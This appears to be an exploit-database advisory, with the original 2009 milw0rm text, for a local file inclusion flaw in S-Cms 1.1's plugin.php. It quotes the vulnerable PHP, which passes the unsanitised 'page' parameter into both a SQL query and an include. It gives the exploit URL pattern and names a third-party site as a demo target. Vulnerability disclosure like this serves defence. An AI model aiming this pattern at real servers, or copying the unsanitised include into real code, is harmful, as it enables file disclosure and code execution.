S-Cms 1.1 Stable (page) LFi

vendor:

S-Cms

by:

ZoRLu

7,5

CVSS

HIGH

Local File Inclusion (LFI)

CWE

Product Name: S-Cms

Affected Version From: 1.1

Affected Version To: 1.1

Patch Exists: NO

Related CWE: N/A

CPE: a:s-cms:s-cms:1.1

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2009

S-Cms 1.1 Stable (page) LFi

S-Cms 1.1 Stable is vulnerable to Local File Inclusion (LFI) vulnerability. An attacker can exploit this vulnerability to include a local file on the web server. This can be exploited to disclose sensitive information, execute arbitrary code, and perform unauthorized actions.

Mitigation:

The best way to mitigate LFI vulnerability is to restrict the user input and validate it. The user input should be validated against a white list of allowed characters and should not contain any special characters.

Source

Exploit-DB raw data:

[~] S-Cms 1.1 Stable (page) LFi
[~]
[~] ----------------------------------------------------------
[~] Discovered By: ZoRLu
[~]
[~] Date: 29.04.2009
[~]
[~] Home: yildirimordulari.com / dafgamers.com / z0rlu.blogspot.com
[~]
[~] msn: trt-turk@hotmail.com
[~] 
[~] N0T: Herkes Hecker Olmus :S
[~]
[~] N0T: if you wanna learn hack you must be register to my site yildirimordulari.com
[~] -----------------------------------------------------------

file:

s-cms/plugin.php

code:

$page=$_GET['page'];        ( error 1 )


$sql_select_plugin_case= mysql_query("SELECT * FROM ".$prefix."_plugins WHERE active = '1' AND file='$page'");

if ($sql_select_plugin_case){

include "plugins/$page";    (error 2 )

exp:

yildirimordulari.com/s-cms/plugin.php?page=[File]

for demo:

http://www.nonsolomazzini.altervista.org/s-cms/plugin.php?page=[LFi]


[~]----------------------------------------------------------------------
[~] Greetz tO: str0ke & DrLy0N & w0cker & Cyber-Zone & Stack & ThE g0bL!N & AlpHaNiX  and all friends
[~]
[~] yildirimordulari.com / experl.com / z0rlu.blogspot.com / dafgamers.com
[~]
[~]----------------------------------------------------------------------

# milw0rm.com [2009-04-29]